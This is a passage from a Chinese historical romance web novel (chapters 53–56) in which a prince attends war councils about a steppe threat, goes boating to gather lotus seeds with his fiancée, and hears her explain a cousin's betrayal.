不少臣子觉得这战事若是能够晚上一两年就好了。 第53章 有变 一两年之后, 国库里的金银铜钱也该堆得满地都是了,将士们也养得强壮、训练有素,兵刃强韧坚锐, 骑兵也训练好了,再打离渊也比现在省事省力多了,保管叫离渊人有来无回。 人遇事都喜欢往好处去想,但发展和结果往往不如人意,这就是了。可事情既已出了, 当下要紧的是如何应对。调兵遣将、辎重粮草调拨, 边防守军如何调派扽等等, 这些都是要经过深思熟虑的问题。 在场熟知兵事、身经百战的人并不少,皇帝亦是其中佼佼者。这些都实打实的大佬, 百里漾在这一群人之中就显得太过稚嫩了。他没有领兵打仗的经验,许多事情更是一知半解, 也说不出比他们更高明有用的计谋与策略,故而他在这场议事之中更多的保持了沉默。 且这场议事对于他来说是一个极好的学习机会, 这个机会很十分难得, 因此他从头到尾都全神贯注地去听他们说的话, 看他们考虑问题着重的点是什么、有何顾虑,大家争执的点又在哪里,这些人各自的坚持都是从什么角度出发的?这里面有太多的东西可以供百里漾学习和思考的了。 这场议事从辰时开始持续了一整个白日,期间皇帝令人送了吃食进来,大家吃完了再继续,在太阳落山之前才讨论出了一点章程出来。最后皇帝看众人皆显出了疲累之色,便开口结束了今日的议事,让他们赶在宫门落匙之前离开皇宫回家了。 百里漾也要回自己的江都王宅,分别时太子说道:“出了这事, 你心里要有所准备。江都也与离渊接壤,那边不可有失。” 太子这话说的是两件事,一是告诉百里漾他返回江都的时间八成要提前了;二是提点他要务必要守住江都对离渊的防线。 这些百里漾都明白的,后者不必说他也清楚事情的重要性,而前者……他清楚皇后、太子他们的谋划,若是可以,他们是希望能让皇帝答应将他留在湛京不回江都的。可这事不能够直接提出来,至少现在不行。 之前因着刺杀之事让他因祸得福得以比其他的诸侯王在湛京多留上两个月。两个月的时间,他们可以做的事情很多,兴许能够磨得皇帝应允。可现在离渊的事情一出,江都那边又不容有失,百里漾作为江都王必然要回去坐镇的。若是战事紧急,甚至他与颜漪成婚之后都等不及王妃三日回门就得立即赶回江都。 可这是很无奈的事情,谁叫计划永远都赶不上变化。不过这算是最差的结果,事情也未必真的会发展到那一步。 乞罗扎汗想通过让子侄们攻打大衍争夺功绩的方式来挑选继承人,这就注定了这些候选人之间是相互竞争的关系,谁都不愿意见到对方好,谁又都想压其他人一头。他们在争夺功绩的同时必然要想法设法阻止其他人立功,基本上不可能进行真正的联合。 心不齐,离渊即使来犯,战力也必然是会被削弱了。这对大衍来说无疑是一件好事。 况且以如今大衍的情形来看,即便离渊真的来犯了,也不必过多担心。高皇帝刚立朝那会儿天下的局势确实还不够稳当,民生凋敝,国家上下整体都不富裕,内忧不少,外患也一直存在。可在经历了高皇帝以及皇帝至今为止二十来年的治理发展之后,如今的衍潮正开始呈现出一副欣欣向荣的繁荣景象,君臣上下一心,民生逐渐恢复,武备修齐,三军威武,这些都是底气。正如议事之时武将们的豪勇之言,离渊敢来,打回去便是。 百里漾回到江都王宅之后,何光宴已令人为他准备了热水、膳食。此时已经过了往常用晚膳的时辰,王宅中人并不知他何时会回来,他也顾不及令人传话回来,做好的膳食只能隔一段时间便热一遍,热水更是时时刻刻备着。 百里漾用完晚膳再去沐浴,感觉舒服许多,躺到床榻上时还想着琢磨一下白日议事时听到的言论,结果身体挨到床榻上没过多久困意就袭来,眼皮子打架撑不过就睡过去了。 离渊的事情只是显出了一些苗头,朝廷这边更多的是为了可能即将到来的战事做准备,现在更多的动作是令边境军将加紧防范,一面密切关注离渊的情况。说来也奇怪,离渊前面发动几次突袭侵扰皆被守军打得溃逃之后,大衍这边以为他们接下来还会有所动作,可等了半个月,对面却悄无声息了。总不能是对着大衍这块肥肉啃了一口后发现硌牙不想啃了吧? “他们再敢来,定当叫他们有来无回。”崔栋说道。 他作为崔大将军之子,哪怕不能如同百里漾一般参与议事知晓离渊之事,可崔预在回府之后也会将儿子叫来与他说道一些。他亦是武官,随百里漾就封江都这些年亦曾到过江都的边境巡视,只不过未有机会与离渊人真正对上打过。 “你小心一些啊。这是马球棍,不是你手中的刀剑。”身边的卢氏没好气地锤了崔栋一下。她身上的衣裙因为崔栋说话时以马球棍为刀狠劈的一下溅上了一片泥点,这是她从马球场下来才去换的新衣,这下可好了,又得去换一回了。 崔栋也知道自己做错事了,赶紧向妻子卢氏讨饶。客人在跟前,卢氏也不好再说崔栋什么,只是歉意说“暂且失陪”,随后便下去换衣服了。崔栋也说自己要去换身衣服,在百里漾、百里澄姐弟俩的目视之下追着卢氏去了。 百里漾瞧着崔栋夫妻两人一前一后的身影不由失笑,“他们如今这样,舅母可算是能放下心了。” 崔栋这货没成亲之前对婚事不情愿的态度让崔预夫妇一直颇为头疼,可他们又不能由着他这样一直不成家。好不容易敲定儿媳的人选了,虽然崔预嘴上说着敢不成亲就敲断他的腿,但内心也是怕他真的撂挑子不干的。等崔栋成婚了,夫妇俩高兴之余又免不了担心小夫妻相处不睦,他们还是盼着儿子生活美满的。 这下好了,眼看着崔栋成婚之后不仅适应良好,还一副乐在其中的模样,崔预夫妇也能将心放回肚子里去了。 百里漾到目前为止看过几次崔栋与卢氏的相处,虽然有些打打闹闹的,但两人都没有生气,这也不失为一种他们自己的小情趣。 他们此时正在大将军府置在城外的一处园子之中。不久前崔栋成亲,本意是想在婚后三日宴请亲朋好友来聚一聚,给大家展示一下两人婚后的幸福美满生活的,但因为离渊突然来进犯给打乱了计划。最近这段时日瞧着局势有所和缓,天气也好,崔栋与卢氏便下帖子邀请关系亲近之人前来此处玩耍。 往年崔预夫妇与崔若偶尔会来这园子小住或者散心,有时也用作宴客之所。这园子很大,里面有庭院、有一小片山林、有湖,前年大将军特地令人在此处又新建了一座马球场供前来游玩的人打马球用。 百里漾过来时就被崔栋拉去打了一场酣畅淋漓的马球赛,对面夫妻二人齐心,他这边没有帮手,毫无意外地输了。之后他去换了一身衣服过来,与长姐百里澄对坐饮茶。 闲着无事,姐弟俩便说起最近离渊闹出的事情。 百里澄虽然也不得亲身参与朝堂议事,可她辅佐太子多年,早已是东宫的左膀右臂,太子有事习惯与她商量,如同以往这次的离渊之事他也会尽数告知。可以说她虽身不在朝堂,亦能对朝中大事了如指掌。 “乞罗扎既已放出话来,为着汗王之位,那些人就必定会再来。” 百里澄的话其实与那日议事上皇帝及一些重臣持的意见相同,草原那边的离渊已经崛起,因为乞罗扎汗在前朝哀帝末年时南下致使草原各部皆尝到了巨大的甜头,从那时起他们便开始觊觎南边这块广袤且肥沃的土地了。这些年离渊人不是不想来,而是一直没有找到合适的机会以及完全下定决心调动军队南下,偶尔的几次劫掠也是小打小闹。 其实从高皇帝当年追击离渊入草原开始就注定了大衍与离渊之间必有一战,不过是时间的早晚不同罢了。即便这次不来,等到新汗王继位后,为了确立威信也还是会来的。草原上只崇敬强者,新汗王继位若想坐稳,需要一场大胜才行。 百里漾也深知此理,强敌在侧且蠢蠢欲动,他们如今需要做的是养兵攒粮,把士兵养得更加强壮,操练得更加勇猛,兵器擦亮磨利,甲胄造得厚实坚韧,等离渊人一来就把他们打得落花流水,叫他们有来无回。 “届时江都边境防线亦是他们意图要突破的一处,你得看紧着些。”百里澄说道。 “阿姐,我省得的。”百里漾知道轻重,颔首道。 “那时说不得你要亲上战场。战场之上兵器不长眼睛,万事多几个心眼总是没有错的。” 百里漾再次应下。 战事若起,江都边境是离渊南下进入大衍的一处屏障,离渊要突破这层屏障必然会聚集重兵,真打起来十有八九是一场硬仗。百里漾作为江都王少不了亲自要上阵杀敌鼓舞士气,而从个人来说,百里氏的儿郎女郎们就没有怯懦不前的。 话说到这,正好崔栋和卢氏夫妻俩也回来了。 第54章 游湖 今日就是出来吃喝玩乐, 做高兴事的。朝堂上的事情也不差这一两日的,百里澄和百里漾姐弟俩很快加入他们一同去玩去了。 这处园子里有一大片自然形成的湖,正值夏日, 湖面上铺开了一大片清嫩青翠的荷叶,清风徐来,荷叶晃动如浪,一层一层地朝远处荡漾开去。躲藏在荷叶下还未被初升的太阳晒干的露珠被摇晃着滚落水面,被一些浮出水面的鱼儿正正接入嘴里。 “我家娘子说要去摘些莲子稍后做莲子羹, 有谁要去的么?”崔栋站在岸边朝百里漾几人问道。他手边不只有采摘莲子的工具, 手上更是拿了一个抄网。看这架势, 采莲子是卢氏等女眷要去的,他更想干的是捞鱼。 湖边有好几只小舟, 每只约可同时载上三四人。岸边已有好几个郎君小娘子跃跃欲试了,他们看到百里漾和百里澄过来, 先是见礼,然后看两人是否有意乘坐小舟去湖面上摘莲子, 好将先位置让给他们。 今日能受邀来到这处园子的这些郎君小娘子们皆是与大将军府交好的公卿勋贵的儿孙, 有些则是与卢氏那边关系亲厚的, 这就意味着他们之中许多人是见过栎阳长公主百里澄的,甚至有几个女郎上前与百里澄说话。 百里漾在一边看着,清楚地瞧见她们看向自己长姐的眼眸之中带着钦慕,对此,他并不意外。百里漾向来是知道长姐有多厉害的,能文又能武,他在很多方面都比不上长姐,心里对她不仅是信赖还有崇拜。在回到湛京后不久,他就已经了解了长姐在湛京的贵女圈之中时何等受欢迎的存在, 一些女郎甚至以受到栎阳长公主的接见、被长公主称赞为荣。 “阿姐,你要去采莲子么?”百里漾问道。 眼前之景着实漂亮,若是泛舟湖上确实不失为一件美事。 眼见着百里漾有些意动,百里澄正要答应,忽然余光看到了不远处正走来的人,她对百里漾说道:“看来今日我与五郎是不能同舟了。” 嗯? 百里漾不解,正待问为何时,耳边这时听到一阵轻盈的脚步声,随后一道清悦的女声像山间清泉般流入,“臣女见过长公主,见过大王。” 百里漾转身便瞧见了盈盈下拜的颜漪,眼中有他没有察觉到的欢喜,不等百里澄开口他就率先让颜漪免礼,来之前崔栋就告诉他卢氏与颜漪是闺中密友,暗示此次游宴卢氏邀请了颜漪过来。知道这事时他对此次宴会不免产生了些许期待。 来到这处园子时知晓颜漪还没有来隐隐有些失落,很快又振作起来,想着人总会来的。可人这心里一旦惦记着事,想着颜漪何时会来,注意力就难免完全集中不时便显出心不在焉来。他是皇子,知道如何使喜怒不形于色,旁人不太看得出来他的心思不在,可百里澄直接看出来了。盼了许久,如今人终于来了。 瞧瞧,五郎这眼睛都比之前的亮了。 百里澄瞧了自己弟弟一眼,而后笑吟吟对刚来的颜漪说道:“你来的可巧,正商量着要到湖上采莲子。” 岸边的崔栋和卢氏见颜漪到来,齐齐上前相迎。双方相互打过招呼之后,卢氏上前亲切地挽了颜漪的手,玩笑着说道:“还以为你不来了,可让我好一阵担心。” 不知道为什么,卢氏说这话的时候,崔栋和长姐都看向自己,目光中还都带着揶揄之色,尤其是崔栋竟然还朝他“挤眉弄眼”的。百里漾瞬间意会过来,卢氏那话说的哪里是她自己,分明是在说他。他有些着恼了,脸上发热,不敢去看颜漪,只好恶狠狠地瞪了一眼崔栋,还觉得牙痒痒,心想:好啊,这货竟然笑话自己,以后有他好看的。 他们的眉眼神色变化被颜漪看在眼里,再看江都王虽然面上看似镇定实则看向她的目光泄露出了一丝紧张,她心里忽然就有了一种奇妙的感觉。停留在江都王身上的视线只有一瞬便转移到了卢氏身上,亦笑回道:“是你所邀,我怎会不来。” 这次前来颜漪是以卢氏的闺中密友身份被邀请过来的,她是女方那边的亲友。卢家那边卢氏的祖父是当年最早跟随高皇帝打天下的那批人之一,定国公则是投在皇帝的麾下,两家都是武将,素来就互有往来。卢氏与颜漪自小便相识了,她们平素的关系就挺不错的,在一个定下与江都王的婚事、一个被聘为大将军府儿媳之后,她们的关系就更好了,毕竟日后她们还会有一层表妯娌的关系。 话题又回到采莲子上,大家皆兴致勃勃,颜漪也不会扫兴,也说要去。他们一共五人,崔栋让人准备了三只小舟,崔栋卢氏一只,百里漾与颜漪一只,百里澄叫上了两个女郎与她同乘一只小舟。 明眼人一看如此安排就是为了给百里漾和颜漪这对未婚夫妻制造相处的机会的。两个当事者也知道,对着安排方案并没有提出异议。 百里漾觉得如果在成婚之前能够多与颜漪相处了解一些也是好的。他本以为双方成亲之前女方要备嫁会出门的次数,他们之间也不太可能见得到,没想到还是有一两次的意外之喜的,虽然前一次因为某些“意外”没有能够见上面。 颜漪则是觉得这是一个弄清江都王如何看待云山寺之事的机会,她并不想因为云山寺的事情让江都王对她造成误会,有些事情发生了是不能当做没有发生的,若是不说清楚了,让对方将怀疑压在心里,难保会影响他们的日后。 虽说如他们这般身份的人成亲之后夫妻之间更多是相敬如宾,相互之间给彼此一个体面就已经算是相当不错的婚姻生活了,天家更不比寻常,即便是夫妻可头上还顶着一层君臣名分,她此前对自己与江都王未来成婚后的生活的期盼也不过是与他做一对世人眼中合格的夫妻,可几次与江都王接触下来,让她发现了江都王与其他男子不一样的特殊之处,这样的发现让她惊喜,也让她多了一些此前不曾有的盼望。 一叶扁舟,泛游湖上,周身是成片铺开的荷叶。枝枝粉嫩的荷花俏立在风中迎风摇头晃脑,花瓣打着旋飘落而下,有的落在荷叶上,有的落在水面,成了鱼儿争抢嬉闹的对象,可都叫小舟驶入的水波一晃给吓得一甩尾惊惶四下逃窜了。 这湖里几乎每年都会有人想要去采摘莲子或者乘舟游湖,此处园子的管事特别贴心地早早令人在层叠的荷叶之间开辟了几条相互贯通的水道共泛舟游湖的主家和客人们通行。若是能够从天空往下俯视就可以看见一大片绿蓬蓬荷叶海中几条小舟无比快活地穿行在其中。 百里漾前世时曾见过别人泛舟花海荷海,那时充满了羡慕和向往,如今置身其中才知其中快乐。他坐在小舟的一段缓缓摇着桨,感受着清新凉爽的风徐徐扑面的惬意。小舟的另一端是颜漪,她看着对面摇桨摇得欢快的百里漾,很轻易地就捕捉到了他的好心情。 “辛苦大王摇桨了。”颜漪面带歉意说道。 她虽然是这么说,却大概知道对面摇桨乐在其中的人会说些什么。通过这几次的相处,她发现百里漾身上大多数时候都很少有上位者的架子,不会如同一些高门勋贵子弟一般自恃出身高贵而不愿意屈尊降贵去做一些在他们看来是卑贱的事情。她在知道自己极有可能会许配给百里漾之后,也曾去打探过百里漾在江都的行事,发现他真的是一个挺有趣的人。 “不过是小事,也不费什么力。”百里漾不觉得有什么辛苦的,又不是赛龙舟。况且这小舟上只有他和颜漪两个人,总不能让颜漪摇桨吧。 “要摘莲子么?” 小舟在百里漾的划桨下慢慢荡开水波,路过了好些成熟的莲蓬,可以清楚地看见莲子挤满了上面的洞洞,颗颗饱满,看得让人很有采摘的欲望。正好一枝莲蓬歪进了小舟里,斜横在百里漾面前。小舟上的工具准备得很齐全,他拿了一把特制的剪子将其剪下来,拿在手里,两只手同时开剥。 前世与现世两辈子加起来百里漾都没什么机会剥这东西,一开始有些不熟练,但大力出奇迹,直接手撕成一片一片的,再把里面的莲子一个个抠下来装到藤编的篮子里。他剥得很来劲,这一片的莲蓬又长得多,一刻钟的功夫篮子就被装满了。 百里漾看着一篮子的莲子,眨了眨眼睛,一不留神就剥了这么多,估计能够做很多莲子百合汤了。抬头发现颜漪似乎在看他,想着自己方才一直在吭哧吭哧剥莲蓬的样子估计都被对方一直看着了,脸上忽然有些热气,踌躇了一下后捧着篮子往前倾了一小段距离,“听说莲子亦能生吃,颇有些清甜可口。”所以,你要不要试一下? 他眼里有期待,颜漪伸手接过,剥了一颗放在口中尝了尝。 “如何?”百里漾期待问道,一边观察颜漪的表情,想从中得到反馈。紧接着他就看见颜漪微蹙了眉,不由紧张。 “有些苦涩的滋味。”颜漪如实答道。 “这样啊,怕是没有完全成熟。”百里漾有些干巴巴地说道。但如果他头上有耳朵,这会儿已经耷拉下来了。 第55章 采莲 百里漾觉得这是莲子的问题, 为自己找补道:“这颗不好,换一颗兴许会好的。” 他眼巴巴看人的时候让人很难拒绝。颜漪依言重新拿了一颗品相更好的莲子剥来吃,这次总算是如百里漾所说的滋味清甜的了。百里漾的眉毛重新扬起, 他就说嘛,他绝不可能摘不到滋味好的莲子。 “大王往日在江都时也曾亲手采莲么?”看着百里漾颇为熟练,颜漪不由好奇问道。她瞧着这人的动作一开始确有些生疏,可很快就得心应手了。虽说这确实不是什么很难上手的活计,但也至少是做过两三回才能有如此速度的。 百里漾道:“以前在江都闲来无事时喜欢四处去逛逛, 偶见一处荷塘, 塘间有人采莲, 当时觉得稀奇就近前去看看。主人家热情好客,送了我一些莲蓬, 试着剥过,尝过滋味。” 他就封时至江都, 到了一处新地界,想着这偌大的地方都归自己管, 可不就想着到处去看看么。可范国相劝他说他们毕竟是初来乍到, 这地界上的许多事情还没有弄清楚, 不宜冒然行事。这主要也是为了他的安危着想,人生地不熟,总是比较容易出事的。他耐着性子等了两三年,等彻底将江都抓在手里后,才开始带着亲卫军四处走动。 百里漾发现颜漪对他在江都四处走动的见闻十分感兴趣,上次在定国公府见面时亦是如此。他抖了抖眉毛,又搜肠刮肚地回忆过去,挑了许多觉得有趣的经历说了,其中就说到崔栋当初追着柳公求指导把老人家吓得落荒而逃的事情。 他忍着笑唏嘘道:“想来有他在江都一日, 柳公是再不敢踏足江都的地界了。” 当初那小老头来江都也是想着江都的地界风光别致,跑来写生的,原本的计划是待上一年两载的,结果遇上崔栋这么个痴情难缠的可怕人,愣是吓得没待到一年就跑出江都了。 “崔都尉知道大王这么笑话他么?”颜漪忍不住笑,又好奇崔栋痴迷作画画技却一般这稀奇事,想知道崔栋画作究竟是个什么水平。 她的笑比周围任何一朵荷花开得都明艳烂漫。百里漾心中有一种小鹿乱撞的感觉,他想错开与颜漪对视的目光,刚移开一瞬却又忍不住自己移回来了。他乐道:“可不敢让他知道,否则他非得让你将他的画挂在书房最显眼的位置,让你时时都看得着。”这事崔栋还真有可能做得出来。 “大王这般说,让我更是更加好奇了。”颜漪自己于作画一事上也颇有天赋,亦见过不少画的不好的,画的不好还如此痴迷于此道真是少见,一方面敬佩于崔栋对作画的坚持,也越发对崔栋的画作好奇了。 “日后总有机会见到的。”百里漾说道。 崔栋也不是不知道自己的画技不行,他很有上进心的,否则在江都时也不会对柳公“死缠烂打”了。奈何这人的天赋是有限的,崔栋的天赋值大概全部点到武艺一道上了,旁的几乎是一点没分到。这怎么不能说是另一种公平的呢。 他一点没有意识到自己说的话很容易令人多想,尤其是如今面对面了,周围都没有别人,听的人难免有些羞涩。这日后自然是指他们成婚之后,届时她成了眼前之人的王妃,还怕日后没有机会么? 百里漾见对面的颜漪忽然低头羞涩不语了,他这才后知后觉地反应过来自己说了什么不怎么恰当的话,不免有些尴尬,这种氛围下又不知道说什么,于是他只能左顾右盼试图说些别的缓解一下,却不想此刻颜漪先开口了。 “大王那日可是去云山寺祈福了?”颜漪今日来本就是想借此机会与百里漾说清楚她与顾晟开的事情,此时正好开口。 百里漾微愣,点头答道:“是,那日是去了。听闻云山寺中有一姻缘树颇是灵验。”后面的话就没有必要说了,已经是差不多明摆着说“我到云山寺是为求婚姻顺遂美满去的”。 “我与大王有缘,那日我也随母亲前去祈福了。”颜漪说这话时是直视着百里漾的。 目光对视,百里漾看着那双澄澈认真的眼眸,瞬间明白颜漪说这话的意思。她知道自己那日去了云山寺,甚至知道那日他就在大榕树的另一侧。他一时不知道颜漪为何突然提起此事,抿了抿唇,看着颜漪等她开口。 “此事多谢大王为我周全。”若非是在小舟上,颜漪是要郑重行礼道谢的。 若说来之前颜漪还担心百里漾会因为云山寺之事对她心存芥蒂,在经过方才的相处交谈之后,她便不这么想了。她能够确信百里漾并没有将那日的事情往心里去,他明知却当做不知,甚至都没有向任何人提及此事,这是在保护她的名声。 孤男寡女,避开耳目,私下相见,不管她是不是被顾晟开使计诓骗过去的,不管她与顾晟开究竟有没有儿女私情,一旦被人撞见,即便后来解释清楚了,一些风言风语总会传出去的,也总有人会相信这些言语。到时候有损的不仅是她的名声,甚至有心人可以利用此事攻讦定国公府。且婚前传出这等事,让宫里的几位知晓了,难免会影响对她的观感。 “此事我并未做什么。”百里漾稍一想也知道颜漪谢他的缘由,但他觉得这事真没有什么好谢他的。此前他还担心这桩婚事会拆散一对有情人,好在有情人是假的,只不过是虚惊一场。现在看来,只不过是那顾晟开的一厢情愿,颜漪分明只那他当兄长的。 不过那顾晟开到底是怎么回事? 百里漾这么想也这么问了。 颜漪见百里漾只是生顾晟开的气,两条浓密的眉毛因为眉头紧皱而斜飞向上,看起来很凶,可是他侧脸上此刻有一道因为采摘莲蓬不小心刮到留下的黑色痕迹,还怀抱莲子,给人一种凶萌凶萌的感觉,让人不觉好笑。 顾晟开这事也是要与他说清楚的。云山寺那事情是如何发生的包括那名背叛她的婢女是如何处置的,颜漪皆毫无隐瞒地告诉了百里漾。 百里漾越听眉头皱得越紧,只觉得顾晟开这人是疯了不成?感情是两厢情愿的事情,顾晟开一厢情愿不说,还做出这么恶心人的事情来。这真的是喜欢一个人会做出来的事情么?难道顾晟开没有想过这么做会带来什么恶果么? 颜漪:“此事已去信让父亲知晓,父亲不久前已回信,说此后他与定国公府再无瓜葛。” 百里漾知道这是在对他表明定国公府对待此顾晟开的态度,出了这样性质恶劣的事情,定国公是要放弃顾晟开这个唯一的外甥了。也就是说,今后顾晟开无论做什么都与定国公府无关,哪怕是有人想要对顾晟开出手,定国公府也是一概不管的。 关于顾晟开与定国公府的关系百里漾在去云山寺之后派人去细细查了一回。 顾晟开是定国公颜定山胞妹独子,当年顾晟开之母不顾兄长反对执意要嫁给顾氏子顾允硕,甚至有传闻说两人当时是奉子成婚。顾允硕是世家子,世家多风流,哪怕顾氏已经没落,风流习性仍然不改。刚成婚时还与妻子颜氏浓情蜜意,只守着妻子一人,没几年就觉得乏味,开始在外面寻花问柳,一开始不让颜氏知道,但这种事瞒得了一时瞒不了一世,很快就被颜氏发觉了。由此,夫妻感情开始变质,争吵不断。 世家那时都在走下坡路,顾氏又没有什么厉害的子弟能顶得住事,加上高皇帝继位后大力打击削弱世家,顾氏挨了一刀狠的,狠狠往下落之后就再没往上爬过。而顾允硕这人本事不大心气却不小,力图光复顾氏从前的荣光,结果连勉励维持住现状都很艰难。他心中怨恨身为国公重臣的大舅兄不肯拉拔他,屡次酒醉回家对着颜氏就是一同怨骂。 定国公觉得顾氏已是一团污遭,想让妹妹颜氏与顾允硕和离,带着儿子回定国公府或者别府另居,可颜氏自己不愿意。定国公拿这个固执的妹妹没有办法,只好在别的地方给母子俩一些照顾。从四岁起,顾晟开就每日被送到定国公府与两位表兄一同习武学文,而定国公得空时也会亲自教导他们武功谋略。可以说顾晟开不仅是定国公的外甥,从某种层面上也可以说他是定国公亲自教导过的弟子。 由此,顾晟开与定国公府的关系可见是非同一般的亲厚。可就是这样与定国公府拥有亲厚关系的人,他背刺了颜漪、背刺了定国公府。他对定国公府太熟悉了,定国公府里的人也知道有他这位表公子,所以他才能如此顺利勾结颜漪身边的婢女诓骗她前来相见。 百里漾想到那个被顾晟开以情爱诓骗送掉性命的婢女,倒不是觉得她无辜,只是觉得顾晟开手段不仅卑劣而且恶心,经过此事他对此人的恶感达到了顶点。 “此事我已知晓。”百里漾明白了定国公府的态度。他想着颜漪被亲近的婢女背叛又被向来视为兄长的表兄算计,心中怕是难过,他对颜漪说,“是他不好。”所以你不必为这等人伤心。 颜漪能够感受到百里漾的温柔,轻声道:“大王是一个很温柔的人呢。” 突然被发了一张温柔卡的百里漾愣了一下,目光微抬却看到了颜漪面容上绽开的笑颜,确定她是在夸他,不由也笑了。 第56章 成婚之前 “原来你们在这呢, 可让我们好找。”前方不远处左侧的分岔水道突然传来一阵舟体化开水面的声音,兼有舟身被藕杆碰撞摩擦出的声音,比这些更清楚的是崔栋爽朗的大嗓门。 “你们采得多少莲子了?”崔栋划桨, 载着妻子卢氏靠近百里漾两人的小舟,他一眼就看见了空空如也的小舟,也不是,百里漾的手边还放着一个装满了莲子的篮子,但那篮子只有两个巴掌大。显而易见的, 百里漾和颜漪两人就没有认真在采莲子。 那他们干什么去了? 卢氏明显比大咧咧的崔栋观察更细致, 她察觉到百里漾与颜漪周围的气氛无比的和谐融洽不少, 旁人几乎都很难插入进去。她无奈又无语地瞅了一眼自己的丈夫,这两位显然方才正相谈甚欢、气氛也好, 偏自家这个不解风情的愣是要过来给扰乱了。没办法,卢氏只好对两人以目表示歉意。 崔栋浑然不觉自己干了什么坏事。他让百里漾看他小舟上载着满当当的莲子, 特意从舟尾提起一只大号鱼篓,万分得意道:“五郎, 你看我捉到的大鱼, 费了我好大的功夫。正好拿它来熬汤喝。” 这条鱼确实大, 被头朝下塞进鱼篓里,整条尾巴都露在外面,活力十足还很有劲,被崔栋连鱼篓一起提起来的时候还在不停地甩动身子,尾巴拍在鱼篓口发出“扑扑”的声响。看得出崔栋为了捉这条大鱼确实是费了不少功夫,衣服上好几块颜色都被水洇得变神色,大腿一下都是湿的,脸上还有几点泥渍。 “这一船的莲子喝一整月的莲子百合汤都足够了。”百里漾有些无语道,但崔栋捉到的这条大鱼颇令他眼前一亮, 问,“你是如何捉到的?” 崔栋哈哈大笑,“这笨鱼也不知是怎么回事,自己一头扎进密集的藕杆里出不来了。本来我还不曾发觉,谁叫它为了脱困在那疯狂摆动自己,弄出动静来,这不就落在我手里了。”他乐得大白牙花都呲出来了,提着鱼篓跟炫耀战利品似的。 这样大的湖,大鱼是必然有的,不过绝大多数时候都在深水处活动,在不撒网或是垂钓的情况下,要捉到这样的一条鱼几乎是不可能的。可今日偏偏就让崔栋遇上了一条“搁浅”的大鱼,说他是运气爆棚都不为过。 “这鱼一看就与你我有缘,上了岸就将它炖了。”百里漾也乐道。 于是,这条自寻死路的大鱼被决定了此生的命运。到了稍晚些宴请就席时,这条大鱼作为主料被熬成了一锅味道鲜美浓郁的鱼汤,每个就席的人都分到了一碗。鱼肉鲜美加上厨子的手艺非凡,使得鱼汤滋味极好,许多人喝完都忍不住再续了一碗。 等到日落黄昏,天色渐暗,与崔栋与卢氏作别之后,众人也各自回家了。 同行一段路之后,乘坐马车的颜漪与百里漾、百里澄姐弟俩道别。看着马车的影子悠悠地走远,百里漾心中知道这大约是他们成婚之前最后一次见面了。 “舍不得?”百里澄看着弟弟这般依依不舍的模样,笑语道,“你再挨上半月就能将人娶回家了,到时候日日见着,也不必受这相思之苦了。” “阿姐。”百里漾讨饶似地唤了一声。 百里澄发现自己这弟弟还真是面皮薄羞涩,禁不住笑着摇摇头,似模似样叹道,“少年慕艾,情之所致,阿姐又不是不解风情之人。” 她一直觉得她这弟弟是个奇人,至少放眼整个湛京也很难找出如同他这般纯情的男子,洁身自好,从不乱来,甚至他有时候表现得都不太想是一个“正常”的男子,若非是一母同胞所出的亲兄弟,她都要怀疑他是不是另一个套着男子假壳的女郎了。不过五郎有如此性情真的很好,她很乐于有这么一位胞弟。 “……”百里漾发现长姐这促狭的性子有时候真的是太不友好了,他不想同她说话了,只抿着唇骑在马上不说话,以此来抵挡来自长姐的取笑。 之后的半月日子都很平静。 潜伏在草原深处的密探将离渊那边的情报传回湛京,朝中众人方才知晓为何之前离渊人来侵扰过一阵却又突然没了动静。原来是乞罗扎汗再次病重,这一次可与之前的都不一样。原先几次虽是病重,但人还活着,并非油尽灯枯,再熬上三五年也未必不可。可这一次,乞罗扎汗是真的要死了,他熬不住了。 七月初时,乞罗扎汗便已病重到连日昏迷不醒,半夜数次说胡话,以前从来没有过这样的。左右亲近之人皆有预感,他们的汗王这次是真的要熬不过去了。这些人大多都有自己支持的王子王侄,纷纷传信出去想催促他们回来抢占先机。于是,那些在王庭之外的王子们皆抛下手中的一切赶回王庭,回到乞罗扎汗身边,要争那汗王之位。在这般情况下,乞罗扎汗原先提出的那套“功高者为王”的继承规则就没有了用处。如今那些王子们都跑回去争抢汗王之位了,自然无暇也无力再来扰边。 这对于大衍来说算得上是一件好事。按照之前的想法,与离渊一战不可避免,可若是能拖上一段时间让他们有更多的时间去准备也是好的。 朝中之事自有大臣各尽其责,也不大轮得到百里漾一就封在外的诸侯王去操心。不过细心的大臣注意到近来每逢议事,江都王也多会列席在旁,虽然很多时候是不说话只默默听着,可他的存在实在令人难以忽视。 江都王议事列席必然是皇帝的意思,没有皇帝的默许他们在此也见不到江都王。大臣们面上无异,心思却活动开了。不过有些事情皇帝没有明着表示,他们也只敢在心中暗暗猜测,面上并无人对此提出什么。至于有些人会不会因此心中大为着急而暗中联系自己的主子,那就是他们自己的事情了。 百里漾每日按部就班地过自己的日子,他会在朝会的日子去上朝听政,会每日去椒房殿给皇后请安侍奉汤药,有时候会去东宫坐一坐,与陪可爱的小侄女玩一玩游戏。 阿荧是皇后如今唯一的孙辈,自小便备受长辈宠爱。皇后时不时就要小孙女一回,甚至还在椒房殿的偏殿之中为阿荧布置了床榻和小书房,闲暇时皇后会在小书房之中手把手地教导她读书习字。 今日百里漾来椒房殿见皇后时,皇后就在教阿荧作画。作画是雅事,可要画得好也是一件大难事,不仅要有天赋,还得勤学苦练。皇后在此道上颇有心得,世人也以得到皇后的画作为荣。可惜皇后善画,她底下的三个子女都没有继承到她的天赋,连同百里漾在内,画技只能说是过得去,出彩的却是没有的。 皇后常常以之为遗憾。子女没有继承到她的天赋,皇后便想着在孙辈身上使使劲,不过她如今唯一能够使劲的对象只有阿荧了。 “五郎来了。”皇后见儿子来了,让他先在一旁坐着。掌宫令给百里漾上茶水点心,他也悠然坐着看她们作画。 等了约莫两盏茶时间,祖孙两人停止作画,宫人拿来水给二人净手,皇后用干布将阿荧小手上的水渍擦干了。百里漾这时凑上前去看经皇后教导过阿荧的画作。嗯,画风稚嫩中带着大家修改指导的痕迹。画的是两节矮矮胖胖的竹子,竹叶也很圆润,瞧着颇是憨态可掬。 “五叔,你看我的竹子是不是很好看?”阿荧见百里漾欣赏她的画作,可高兴了,红扑扑的小脸上满是欢喜。祖母都说她画得很好呢,比阿爹姑姑他们都厉害多了。 百里漾很捧场,把阿荧狠狠夸了一顿,哄得她眼睛都弯成月牙状的,乐得不行。这时候快到阿荧午睡的时间,太子妃已在东宫等着女儿。皇后吩咐人将阿荧送回东宫去。临走之前,阿荧摇晃着细嫩白胖的小手与皇后、百里漾道别,小小一团,格外软萌可爱。 